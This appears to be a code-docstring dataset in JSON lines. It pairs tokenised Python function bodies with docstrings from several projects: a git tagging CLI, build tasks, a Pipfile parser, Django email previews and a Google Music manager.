{"signature": "def exists():", "body": "try:<EOL><INDENT>_call('<STR_LIT>')<EOL>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Returns True if there's a valid git installation, otherwise False", "id": "f1:m2"}
{"signature": "def is_committed():", "body": "return '<STR_LIT>' in _call('<STR_LIT>')<EOL>", "docstring": "Returns True if repository is committed, otherwise False", "id": "f1:m3"}
{"signature": "def list_tags():", "body": "_fetch_tags()<EOL>return [t for t in _call('<STR_LIT>').strip().split('<STR_LIT:\\n>') if t != '<STR_LIT>']<EOL>", "docstring": "Returns a list of tags", "id": "f1:m4"}
{"signature": "def create_tag(tag):", "body": "_call('<STR_LIT>' + str(tag))<EOL>", "docstring": "Creates a tag", "id": "f1:m5"}
{"signature": "def delete_tag(tag):", "body": "_call('<STR_LIT>' + str(tag))<EOL>", "docstring": "Deletes a tag", "id": "f1:m6"}
{"signature": "def push_tag(tag):", "body": "_call('<STR_LIT>' + str(tag))<EOL>", "docstring": "Pushes a tag into the upstream", "id": "f1:m7"}
{"signature": "def check_environment(target, label):", "body": "if not git.exists():<EOL><INDENT>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not os.path.isdir('<STR_LIT>'):<EOL><INDENT>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not git.is_committed():<EOL><INDENT>click.secho('<STR_LIT>',<EOL>fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if target is None and label is None:<EOL><INDENT>click.secho('<STR_LIT>', fg='<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Performs some environment checks prior to the program's execution", "id": "f2:m1"}
{"signature": "def print_information(handler, label):", "body": "click.echo('<STR_LIT>'.format(<EOL>tag=click.style(str(handler.latest_stable or '<STR_LIT>'), fg='<STR_LIT>' if<EOL>handler.latest_stable else '<STR_LIT>')<EOL>))<EOL>if label is not None:<EOL><INDENT>latest_revision = handler.latest_revision(label)<EOL>click.echo('<STR_LIT>'.format(<EOL>label=click.style(label, fg='<STR_LIT>'),<EOL>tag=click.style(str(latest_revision or '<STR_LIT>'),<EOL>fg='<STR_LIT>' if latest_revision else '<STR_LIT>')<EOL>))<EOL><DEDENT>", "docstring": "Prints latest tag's information", "id": "f2:m2"}
{"signature": "def confirm(tag):", "body": "click.echo()<EOL>if click.confirm('<STR_LIT>'.format(<EOL>tag=click.style(str(tag), fg='<STR_LIT>')),<EOL>default=True, abort=True):<EOL><INDENT>git.create_tag(tag)<EOL><DEDENT>if click.confirm(<EOL>'<STR_LIT>'.format(<EOL>tag=click.style(str(tag), fg='<STR_LIT>')),<EOL>default=True):<EOL><INDENT>git.push_tag(tag)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>git.delete_tag(tag)<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>", "docstring": "Prompts user before proceeding", "id": "f2:m3"}
{"signature": "def clone(self):", "body": "return Version(self.major, self.minor, self.patch)<EOL>", "docstring": "Returns a copy of this object", "id": "f3:c0:m4"}
{"signature": "def bump(self, target):", "body": "if target == '<STR_LIT>':<EOL><INDENT>return Version(self.major, self.minor, self.patch + <NUM_LIT:1>)<EOL><DEDENT>if target == '<STR_LIT>':<EOL><INDENT>return Version(self.major, self.minor + <NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>if target == '<STR_LIT>':<EOL><INDENT>return Version(self.major + <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>return self.clone()<EOL>", "docstring": "Bumps the Version given a target\n\nThe target can be either MAJOR, MINOR or PATCH", "id": "f3:c0:m5"}
{"signature": "def clone(self):", "body": "return Revision(self.label, self.number)<EOL>", "docstring": "Returns a copy of this object", "id": "f3:c1:m4"}
{"signature": "def bump(self):", "body": "return Revision(self.label, self.number + <NUM_LIT:1>)<EOL>", "docstring": "Bumps the Revision's number", "id": "f3:c1:m5"}
{"signature": "def clone(self):", "body": "t = Tag(self.version.major, self.version.minor, self.version.patch)<EOL>if self.revision is not None:<EOL><INDENT>t.revision = self.revision.clone()<EOL><DEDENT>return t<EOL>", "docstring": "Returns a copy of this object", "id": "f3:c2:m4"}
{"signature": "def with_revision(self, label, number):", "body": "t = self.clone()<EOL>t.revision = Revision(label, number)<EOL>return t<EOL>", "docstring": "Returns a Tag with a given revision", "id": "f3:c2:m5"}
{"signature": "@staticmethod<EOL><INDENT>def from_version(version):<DEDENT>", "body": "return Tag(version.major, version.minor, version.patch)<EOL>", "docstring": "Creates a Tag, given a Version", "id": "f3:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def default():<DEDENT>", "body": "return Tag(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>", "docstring": "Returns the default Tag (v0.0.0)", "id": "f3:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def parse(s):<DEDENT>", "body": "try:<EOL><INDENT>m = _regex.match(s)<EOL>t = Tag(int(m.group('<STR_LIT>')),<EOL>int(m.group('<STR_LIT>')),<EOL>int(m.group('<STR_LIT>')))<EOL>return tif m.group('<STR_LIT:label>') is Noneelse t.with_revision(m.group('<STR_LIT:label>'), int(m.group('<STR_LIT>')))<EOL><DEDENT>except AttributeError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Parses a string into a Tag", "id": "f3:c2:m8"}
{"signature": "def yield_tag(self, target=None, label=None):", "body": "if target is None and label is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if label is None:<EOL><INDENT>return self._yield_from_target(target)<EOL><DEDENT>if target is None:<EOL><INDENT>return self._yield_from_label(label)<EOL><DEDENT>return self._yield_from_target_and_label(target, label)<EOL>", "docstring": "Returns a new Tag containing the bumped target and/or the bumped label", "id": "f3:c3:m6"}
{"signature": "@invoke.task()<EOL>def build(ctx):", "body": "ctx.run(f'<STR_LIT>')<EOL>", "docstring": "Build the package into distributables.\n\n    This will create two distributables: source and wheel.", "id": "f5:m0"}
{"signature": "@invoke.task()<EOL>def clean(ctx):", "body": "ctx.run(f'<STR_LIT>')<EOL>dist = ROOT.joinpath('<STR_LIT>')<EOL>print(f'<STR_LIT>')<EOL>shutil.rmtree(str(dist))<EOL>", "docstring": "Clean previously built package artifacts.", "id": "f5:m1"}
{"signature": "@invoke.task(pre=[clean, build])<EOL>def upload(ctx, repo):", "body": "artifacts = '<STR_LIT:U+0020>'.join(<EOL>shlex.quote(str(n))<EOL>for n in ROOT.joinpath('<STR_LIT>').glob('<STR_LIT>')<EOL>)<EOL>ctx.run(f'<STR_LIT>')<EOL>", "docstring": "Upload the package to an index server.\n\n    This implies cleaning and re-building the package.\n\n    :param repo: Required. Name of the index server to upload to, as specifies\n        in your .pypirc configuration file.", "id": "f5:m2"}
{"signature": "def walk_up(bottom):", "body": "bottom = os.path.realpath(bottom)<EOL>try:<EOL><INDENT>names = os.listdir(bottom)<EOL><DEDENT>except Exception:<EOL><INDENT>return<EOL><DEDENT>dirs, nondirs = [], []<EOL>for name in names:<EOL><INDENT>if os.path.isdir(os.path.join(bottom, name)):<EOL><INDENT>dirs.append(name)<EOL><DEDENT>else:<EOL><INDENT>nondirs.append(name)<EOL><DEDENT><DEDENT>yield bottom, dirs, nondirs<EOL>new_path = os.path.realpath(os.path.join(bottom, '<STR_LIT:..>'))<EOL>if new_path == bottom:<EOL><INDENT>return<EOL><DEDENT>for x in walk_up(new_path):<EOL><INDENT>yield x<EOL><DEDENT>", "docstring": "mimic os.walk, but walk 'up' instead of down the directory tree.\n    From: https://gist.github.com/zdavkeos/1098474", "id": "f10:m1"}
{"signature": "def load(pipfile_path=None, inject_env=True):", "body": "if pipfile_path is None:<EOL><INDENT>pipfile_path = Pipfile.find()<EOL><DEDENT>return Pipfile.load(filename=pipfile_path, inject_env=inject_env)<EOL>", "docstring": "Loads a pipfile from a given path.\n    If none is provided, one will try to be found.", "id": "f10:m2"}
{"signature": "def inject_environment_variables(self, d):", "body": "if not d:<EOL><INDENT>return d<EOL><DEDENT>if isinstance(d, six.string_types):<EOL><INDENT>return os.path.expandvars(d)<EOL><DEDENT>for k, v in d.items():<EOL><INDENT>if isinstance(v, six.string_types):<EOL><INDENT>d[k] = os.path.expandvars(v)<EOL><DEDENT>elif isinstance(v, dict):<EOL><INDENT>d[k] = self.inject_environment_variables(v)<EOL><DEDENT>elif isinstance(v, list):<EOL><INDENT>d[k] = [self.inject_environment_variables(e) for e in v]<EOL><DEDENT><DEDENT>return d<EOL>", "docstring": "Recursively injects environment variables into TOML values", "id": "f10:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def find(max_depth=<NUM_LIT:3>):<DEDENT>", "body": "i = <NUM_LIT:0><EOL>for c, d, f in walk_up(os.getcwd()):<EOL><INDENT>i += <NUM_LIT:1><EOL>if i < max_depth:<EOL><INDENT>if '<STR_LIT>':<EOL><INDENT>p = os.path.join(c, '<STR_LIT>')<EOL>if os.path.isfile(p):<EOL><INDENT>return p<EOL><DEDENT><DEDENT><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Returns the path of a Pipfile in parent directories.", "id": "f10:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def load(klass, filename, inject_env=True):<DEDENT>", "body": "p = PipfileParser(filename=filename)<EOL>pipfile = klass(filename=filename)<EOL>pipfile.data = p.parse(inject_env=inject_env)<EOL>return pipfile<EOL>", "docstring": "Load a Pipfile from a given filename.", "id": "f10:c1:m2"}
{"signature": "@property<EOL><INDENT>def hash(self):<DEDENT>", "body": "content = json.dumps(self.data, sort_keys=True, separators=(\"<STR_LIT:U+002C>\", \"<STR_LIT::>\"))<EOL>return hashlib.sha256(content.encode(\"<STR_LIT:utf8>\")).hexdigest()<EOL>", "docstring": "Returns the SHA256 of the pipfile's data.", "id": "f10:c1:m3"}
{"signature": "@property<EOL><INDENT>def contents(self):<DEDENT>", "body": "with codecs.open(self.filename, '<STR_LIT:r>', '<STR_LIT:utf-8>') as f:<EOL><INDENT>return f.read()<EOL><DEDENT>", "docstring": "Returns the contents of the pipfile.", "id": "f10:c1:m4"}
{"signature": "def lock(self):", "body": "data = self.data<EOL>data['<STR_LIT>']['<STR_LIT>'] = {\"<STR_LIT>\": self.hash}<EOL>data['<STR_LIT>']['<STR_LIT>'] = <NUM_LIT:6><EOL>return json.dumps(data, indent=<NUM_LIT:4>, separators=('<STR_LIT:U+002C>', '<STR_LIT>'))<EOL>", "docstring": "Returns a JSON representation of the Pipfile.", "id": "f10:c1:m5"}
{"signature": "def assert_requirements(self):", "body": "<EOL>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>implementation_version = format_full_version(sys.implementation.version)<EOL><DEDENT>else:<EOL><INDENT>implementation_version = \"<STR_LIT:0>\"<EOL><DEDENT>if hasattr(sys, '<STR_LIT>'):<EOL><INDENT>implementation_name = sys.implementation.name<EOL><DEDENT>else:<EOL><INDENT>implementation_name = '<STR_LIT>'<EOL><DEDENT>lookup = {<EOL>'<STR_LIT>': os.name,<EOL>'<STR_LIT>': sys.platform,<EOL>'<STR_LIT>': platform.machine(),<EOL>'<STR_LIT>': platform.python_implementation(),<EOL>'<STR_LIT>': platform.release(),<EOL>'<STR_LIT>': platform.system(),<EOL>'<STR_LIT>': platform.version(),<EOL>'<STR_LIT>': platform.python_version()[:<NUM_LIT:3>],<EOL>'<STR_LIT>': platform.python_version(),<EOL>'<STR_LIT>': implementation_name,<EOL>'<STR_LIT>': implementation_version<EOL>}<EOL>for marker, specifier in self.data['<STR_LIT>']['<STR_LIT>'].items():<EOL><INDENT>if marker in lookup:<EOL><INDENT>try:<EOL><INDENT>assert lookup[marker] == specifier<EOL><DEDENT>except AssertionError:<EOL><INDENT>raise AssertionError('<STR_LIT>'.format(marker, specifier))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Asserts PEP 508 specifiers.", "id": "f10:c1:m6"}
{"signature": "def add_templates_to_message(self):", "body": "self.message.subject_template = self.subject_template<EOL>self.message.body_template = self.body_template<EOL>", "docstring": "Adds templates to the fixture message, ensuring it can be rendered.", "id": "f20:c1:m1"}
{"signature": "def add_templates_to_message(self):", "body": "super(TemplatedHTMLEmailMessageViewTestCase, self).add_templates_to_message()<EOL>self.message.html_body_template = self.html_body_template<EOL>", "docstring": "Adds templates to the fixture message, ensuring it can be rendered.", "id": "f20:c2:m1"}
{"signature": "@property<EOL><INDENT>def headers(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._headers = {}<EOL><DEDENT>return self._headers<EOL>", "docstring": "A dictionary containing the headers for this message.", "id": "f23:c0:m0"}
{"signature": "def get_context_data(self, **kwargs):", "body": "return Context(kwargs)<EOL>", "docstring": "Returns the context that will be used for rendering this message.\n\n:rtype: :class:`django.template.Context`", "id": "f23:c0:m3"}
{"signature": "def render_to_message(self, extra_context=None, **kwargs):", "body": "if extra_context is None:<EOL><INDENT>extra_context = {}<EOL><DEDENT>kwargs.setdefault('<STR_LIT>', {}).update(self.headers)<EOL>context = self.get_context_data(**extra_context)<EOL>return self.message_class(<EOL>subject=self.render_subject(context),<EOL>body=self.render_body(context),<EOL>**kwargs)<EOL>", "docstring": "Renders and returns an unsent message with the provided context.\n\nAny extra keyword arguments passed will be passed through as keyword\narguments to the message constructor.\n\n:param extra_context: Any additional context to use when rendering the\n    templated content.\n:type extra_context: :class:`dict`\n:returns: A message instance.\n:rtype: :attr:`.message_class`", "id": "f23:c0:m4"}
{"signature": "def send(self, extra_context=None, **kwargs):", "body": "message = self.render_to_message(extra_context=extra_context, **kwargs)<EOL>return message.send()<EOL>", "docstring": "Renders and sends an email message.\n\nAll keyword arguments other than ``extra_context`` are passed through\nas keyword arguments when constructing a new :attr:`message_class`\ninstance for this message.\n\nThis method exists primarily for convenience, and the proper\nrendering of your message should not depend on the behavior of this\nmethod. To alter how a message is created, override\n:meth:``render_to_message`` instead, since that should always be\ncalled, even if a message is not sent.\n\n:param extra_context: Any additional context data that will be used\n    when rendering this message.\n:type extra_context: :class:`dict`", "id": "f23:c0:m5"}
{"signature": "def render_subject(self, context):", "body": "rendered = self.subject_template.render(unescape(context))<EOL>return rendered.strip()<EOL>", "docstring": "Renders the message subject for the given context.\n\nThe context data is automatically unescaped to avoid rendering HTML\nentities in ``text/plain`` content.\n\n:param context: The context to use when rendering the subject template.\n:type context: :class:`~django.template.Context`\n:returns: A rendered subject.\n:rtype: :class:`str`", "id": "f23:c1:m5"}
{"signature": "def render_body(self, context):", "body": "return self.body_template.render(unescape(context))<EOL>", "docstring": "Renders the message body for the given context.\n\nThe context data is automatically unescaped to avoid rendering HTML\nentities in ``text/plain`` content.\n\n:param context: The context to use when rendering the body template.\n:type context: :class:`~django.template.Context`\n:returns: A rendered body.\n:rtype: :class:`str`", "id": "f23:c1:m6"}
{"signature": "def render_html_body(self, context):", "body": "return self.html_body_template.render(context)<EOL>", "docstring": "Renders the message body for the given context.\n\n:param context: The context to use when rendering the body template.\n:type context: :class:`~django.template.Context`\n:returns: A rendered HTML body.\n:rtype: :class:`str`", "id": "f23:c2:m2"}
{"signature": "def render_to_message(self, extra_context=None, *args, **kwargs):", "body": "message = super(TemplatedHTMLEmailMessageView, self).render_to_message(extra_context, *args, **kwargs)<EOL>if extra_context is None:<EOL><INDENT>extra_context = {}<EOL><DEDENT>context = self.get_context_data(**extra_context)<EOL>content = self.render_html_body(context)<EOL>message.attach_alternative(content, mimetype='<STR_LIT>')<EOL>return message<EOL>", "docstring": "Renders and returns an unsent message with the given context.\n\nAny extra keyword arguments passed will be passed through as keyword\narguments to the message constructor.\n\n:param extra_context: Any additional context to use when rendering\n    templated content.\n:type extra_context: :class:`dict`\n:returns: A message instance.\n:rtype: :attr:`.message_class`", "id": "f23:c2:m3"}
{"signature": "def maybe_decode_header(header):", "body": "value, encoding = decode_header(header)[<NUM_LIT:0>]<EOL>if encoding:<EOL><INDENT>return value.decode(encoding)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Decodes an encoded 7-bit ASCII header value into it's actual value.", "id": "f25:m0"}
{"signature": "def autodiscover():", "body": "from django.conf import settings<EOL>for application in settings.INSTALLED_APPS:<EOL><INDENT>module = import_module(application)<EOL>if module_has_submodule(module, '<STR_LIT>'):<EOL><INDENT>emails = import_module('<STR_LIT>' % application)<EOL>try:<EOL><INDENT>import_module('<STR_LIT>' % application)<EOL><DEDENT>except ImportError:<EOL><INDENT>if module_has_submodule(emails, '<STR_LIT>'):<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Imports all available previews classes.", "id": "f25:m1"}
{"signature": "def __iter__(self):", "body": "for module in sorted(self.__previews.keys()):<EOL><INDENT>previews = ModulePreviews(module, sorted(self.__previews[module].values(), key=str))<EOL>yield previews<EOL><DEDENT>", "docstring": "Returns an iterator of :class:`ModulePreviews` tuples, sorted by module nae.", "id": "f25:c0:m1"}
{"signature": "def register(self, cls):", "body": "preview = cls(site=self)<EOL>logger.debug('<STR_LIT>', preview, self)<EOL>index = self.__previews.setdefault(preview.module, {})<EOL>index[cls.__name__] = preview<EOL>", "docstring": "Adds a preview to the index.", "id": "f25:c0:m2"}
{"signature": "def list_view(self, request):", "body": "return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': self,<EOL>})<EOL>", "docstring": "Returns a list view response containing all of the registered previews.", "id": "f25:c0:m4"}
{"signature": "def detail_view(self, request, module, preview):", "body": "try:<EOL><INDENT>preview = self.__previews[module][preview]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise Http404  <EOL><DEDENT>return preview.detail_view(request)<EOL>", "docstring": "Looks up a preview in the index, returning a detail view response.", "id": "f25:c0:m5"}
{"signature": "@property<EOL><INDENT>def description(self):<DEDENT>", "body": "return getattr(split_docstring(self.message_view), '<STR_LIT>', None)<EOL>", "docstring": "A longer description of this preview that is used in the preview index.\n\nIf not provided, this defaults to the first paragraph of the underlying\nmessage view class' docstring.", "id": "f25:c1:m3"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "return reverse('<STR_LIT>' % URL_NAMESPACE, kwargs={<EOL>'<STR_LIT>': self.module,<EOL>'<STR_LIT>': type(self).__name__,<EOL>})<EOL>", "docstring": "The URL to access this preview.", "id": "f25:c1:m4"}
{"signature": "def detail_view(self, request):", "body": "context = {<EOL>'<STR_LIT>': self,<EOL>}<EOL>kwargs = {}<EOL>if self.form_class:<EOL><INDENT>if request.GET:<EOL><INDENT>form = self.form_class(data=request.GET)<EOL><DEDENT>else:<EOL><INDENT>form = self.form_class()<EOL><DEDENT>context['<STR_LIT>'] = form<EOL>if not form.is_bound or not form.is_valid():<EOL><INDENT>return render(request, '<STR_LIT>', context)<EOL><DEDENT>kwargs.update(form.get_message_view_kwargs())<EOL><DEDENT>message_view = self.get_message_view(request, **kwargs)<EOL>message = message_view.render_to_message()<EOL>raw = message.message()<EOL>headers = OrderedDict((header, maybe_decode_header(raw[header])) for header in self.headers)<EOL>context.update({<EOL>'<STR_LIT:message>': message,<EOL>'<STR_LIT>': message.subject,<EOL>'<STR_LIT:body>': message.body,<EOL>'<STR_LIT>': headers,<EOL>'<STR_LIT>': raw.as_string(),<EOL>})<EOL>alternatives = getattr(message, '<STR_LIT>', [])<EOL>try:<EOL><INDENT>html = next(alternative[<NUM_LIT:0>] for alternative in alternatives<EOL>if alternative[<NUM_LIT:1>] == '<STR_LIT>')<EOL>context.update({<EOL>'<STR_LIT:html>': html,<EOL>'<STR_LIT>': b64encode(html.encode('<STR_LIT:utf-8>')),<EOL>})<EOL><DEDENT>except StopIteration:<EOL><INDENT>pass<EOL><DEDENT>return render(request, self.template_name, context)<EOL>", "docstring": "Renders the message view to a response.", "id": "f25:c1:m6"}
{"signature": "def split_docstring(value):", "body": "docstring = textwrap.dedent(getattr(value, '<STR_LIT>', '<STR_LIT>'))<EOL>if not docstring:<EOL><INDENT>return None<EOL><DEDENT>pieces = docstring.strip().split('<STR_LIT>', <NUM_LIT:1>)<EOL>try:<EOL><INDENT>body = pieces[<NUM_LIT:1>]<EOL><DEDENT>except IndexError:<EOL><INDENT>body = None<EOL><DEDENT>return Docstring(pieces[<NUM_LIT:0>], body)<EOL>", "docstring": "Splits the docstring of the given value into it's summary and body.\n\n:returns: a 2-tuple of the format ``(summary, body)``", "id": "f26:m0"}
{"signature": "def unescape(context):", "body": "return Context(context, autoescape=False)<EOL>", "docstring": "Accepts a context object, returning a new context with autoescape off.\n\nUseful for rendering plain-text templates without having to wrap the entire\ntemplate in an `{% autoescape off %}` tag.", "id": "f26:m2"}
{"signature": "def login(self, oauth_filename=\"<STR_LIT>\", uploader_id=None):", "body": "cls_name = type(self).__name__<EOL>oauth_cred = os.path.join(os.path.dirname(OAUTH_FILEPATH), oauth_filename + '<STR_LIT>')<EOL>try:<EOL><INDENT>if not self.api.login(oauth_credentials=oauth_cred, uploader_id=uploader_id):<EOL><INDENT>try:<EOL><INDENT>self.api.perform_oauth(storage_filepath=oauth_cred)<EOL><DEDENT>except OSError:<EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT>self.api.login(oauth_credentials=oauth_cred, uploader_id=uploader_id)<EOL><DEDENT><DEDENT>except (OSError, ValueError):<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(cls_name))<EOL>return False<EOL><DEDENT>if not self.is_authenticated:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(cls_name))<EOL>return False<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(cls_name))<EOL>return True<EOL>", "docstring": "Authenticate the gmusicapi Musicmanager instance.\n\n        Parameters:\n                oauth_filename (str): The filename of the oauth credentials file to use/create for login.\n                        Default: ``oauth``\n\n                uploader_id (str): A unique id as a MAC address (e.g. ``'00:11:22:33:AA:BB'``).\n                        This should only be provided in cases where the default (host MAC address incremented by 1) won't work.\n\n        Returns:\n                ``True`` on successful login, ``False`` on unsuccessful login.", "id": "f33:c0:m1"}
{"signature": "def logout(self, revoke_oauth=False):", "body": "return self.api.logout(revoke_oauth=revoke_oauth)<EOL>", "docstring": "Log out the gmusicapi Musicmanager instance.\n\n        Parameters:\n                revoke_oauth (bool): If ``True``, oauth credentials will be revoked and the corresponding oauth file will be deleted.\n\n        Returns:\n                ``True`` on success.", "id": "f33:c0:m2"}
{"signature": "def get_google_songs(<EOL>self, include_filters=None, exclude_filters=None, all_includes=False, all_excludes=False,<EOL>uploaded=True, purchased=True):", "body": "if not uploaded and not purchased:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL>google_songs = []<EOL>if uploaded:<EOL><INDENT>google_songs += self.api.get_uploaded_songs()<EOL><DEDENT>if purchased:<EOL><INDENT>for song in self.api.get_purchased_songs():<EOL><INDENT>if song not in google_songs:<EOL><INDENT>google_songs.append(song)<EOL><DEDENT><DEDENT><DEDENT>matched_songs, filtered_songs = filter_google_songs(<EOL>google_songs, include_filters=include_filters, exclude_filters=exclude_filters,<EOL>all_includes=all_includes, all_excludes=all_excludes<EOL>)<EOL>logger.info(\"<STR_LIT>\".format(len(filtered_songs)))<EOL>logger.info(\"<STR_LIT>\".format(len(matched_songs)))<EOL>return matched_songs, filtered_songs<EOL>", "docstring": "Create song list from user's Google Music library.\n\n        Parameters:\n                include_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Musicmanager client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values don't match any of the given patterns.\n\n                exclude_filters (list): A list of ``(field, pattern)`` tuples.\n                        Fields are any valid Google Music metadata field available to the Musicmanager client.\n                        Patterns are Python regex patterns.\n                        Google Music songs are filtered out if the given metadata field values match any of the given patterns.\n\n                all_includes (bool): If ``True``, all include_filters criteria must match to include a song.\n\n                all_excludes (bool): If ``True``, all exclude_filters criteria must match to exclude a song.\n\n                uploaded (bool): Include uploaded songs. Default: ``True``.\n\n                purchased (bool): Include purchased songs. Default: ``True``.\n\n        Returns:\n                A list of Google Music song dicts matching criteria and\n                a list of Google Music song dicts filtered out using filter criteria.", "id": "f33:c0:m3"}
{"signature": "@cast_to_list(<NUM_LIT:0>)<EOL><INDENT>def download(self, songs, template=None):<DEDENT>", "body": "if not template:<EOL><INDENT>template = os.getcwd()<EOL><DEDENT>songnum = <NUM_LIT:0><EOL>total = len(songs)<EOL>results = []<EOL>errors = {}<EOL>pad = len(str(total))<EOL>for result in self._download(songs, template):<EOL><INDENT>song_id = songs[songnum]['<STR_LIT:id>']<EOL>songnum += <NUM_LIT:1><EOL>downloaded, error = result<EOL>if downloaded:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=songnum, pad=pad, total=total, file=downloaded[song_id], song_id=song_id<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT>', '<STR_LIT:id>': song_id, '<STR_LIT>': downloaded[song_id]})<EOL><DEDENT>elif error:<EOL><INDENT>title = songs[songnum].get('<STR_LIT:title>', \"<STR_LIT>\")<EOL>artist = songs[songnum].get('<STR_LIT>', \"<STR_LIT>\")<EOL>album = songs[songnum].get('<STR_LIT>', \"<STR_LIT>\")<EOL>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=songnum, pad=pad, total=total, title=title, artist=artist, album=album, song_id=song_id<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT:error>', '<STR_LIT:id>': song_id, '<STR_LIT:message>': error[song_id]})<EOL><DEDENT><DEDENT>if errors:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>for filepath, e in errors.items():<EOL><INDENT>logger.info(\"<STR_LIT>\".format(file=filepath, error=e))<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>return results<EOL>", "docstring": "Download Google Music songs.\n\n        Parameters:\n                songs (list or dict): Google Music song dict(s).\n\n                template (str): A filepath which can include template patterns.\n\n        Returns:\n                A list of result dictionaries.\n                ::\n\n                        [\n                                {'result': 'downloaded', 'id': song_id, 'filepath': downloaded[song_id]},  # downloaded\n                                {'result': 'error', 'id': song_id, 'message': error[song_id]}   # error\n                        ]", "id": "f33:c0:m5"}
{"signature": "@cast_to_list(<NUM_LIT:0>)<EOL><INDENT>def upload(self, filepaths, enable_matching=False, transcode_quality='<STR_LIT>', delete_on_success=False):<DEDENT>", "body": "filenum = <NUM_LIT:0><EOL>total = len(filepaths)<EOL>results = []<EOL>errors = {}<EOL>pad = len(str(total))<EOL>exist_strings = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>for result in self._upload(filepaths, enable_matching=enable_matching, transcode_quality=transcode_quality):<EOL><INDENT>filepath = filepaths[filenum]<EOL>filenum += <NUM_LIT:1><EOL>uploaded, matched, not_uploaded, error = result<EOL>if uploaded:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=filenum, pad=pad, total=total, file=filepath, song_id=uploaded[filepath]<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT>', '<STR_LIT>': filepath, '<STR_LIT:id>': uploaded[filepath]})<EOL><DEDENT>elif matched:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=filenum, pad=pad, total=total, file=filepath, song_id=matched[filepath]<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT>', '<STR_LIT>': filepath, '<STR_LIT:id>': matched[filepath]})<EOL><DEDENT>elif error:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(num=filenum, pad=pad, total=total, file=filepath))<EOL>results.append({'<STR_LIT:result>': '<STR_LIT:error>', '<STR_LIT>': filepath, '<STR_LIT:message>': error[filepath]})<EOL>errors.update(error)<EOL><DEDENT>else:<EOL><INDENT>if any(exist_string in not_uploaded[filepath] for exist_string in exist_strings):<EOL><INDENT>response = \"<STR_LIT>\"<EOL>song_id = GM_ID_RE.search(not_uploaded[filepath]).group(<NUM_LIT:0>)<EOL>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=filenum, pad=pad, total=total, file=filepath, response=response, song_id=song_id<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT>', '<STR_LIT>': filepath, '<STR_LIT:id>': song_id, '<STR_LIT:message>': not_uploaded[filepath]})<EOL><DEDENT>else:<EOL><INDENT>response = not_uploaded[filepath]<EOL>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>num=filenum, pad=pad, total=total, file=filepath, response=response<EOL>)<EOL>)<EOL>results.append({'<STR_LIT:result>': '<STR_LIT>', '<STR_LIT>': filepath, '<STR_LIT:message>': not_uploaded[filepath]})<EOL><DEDENT><DEDENT>success = (uploaded or matched) or (not_uploaded and '<STR_LIT>' in not_uploaded[filepath])<EOL>if success and delete_on_success:<EOL><INDENT>try:<EOL><INDENT>os.remove(filepath)<EOL><DEDENT>except (OSError, PermissionError):<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(filepath))<EOL><DEDENT><DEDENT><DEDENT>if errors:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>for filepath, e in errors.items():<EOL><INDENT>logger.info(\"<STR_LIT>\".format(file=filepath, error=e))<EOL><DEDENT>logger.info(\"<STR_LIT>\")<EOL><DEDENT>return results<EOL>", "docstring": "Upload local songs to Google Music.\n\n        Parameters:\n                filepaths (list or str): Filepath(s) to upload.\n\n                enable_matching (bool): If ``True`` attempt to use `scan and match\n                        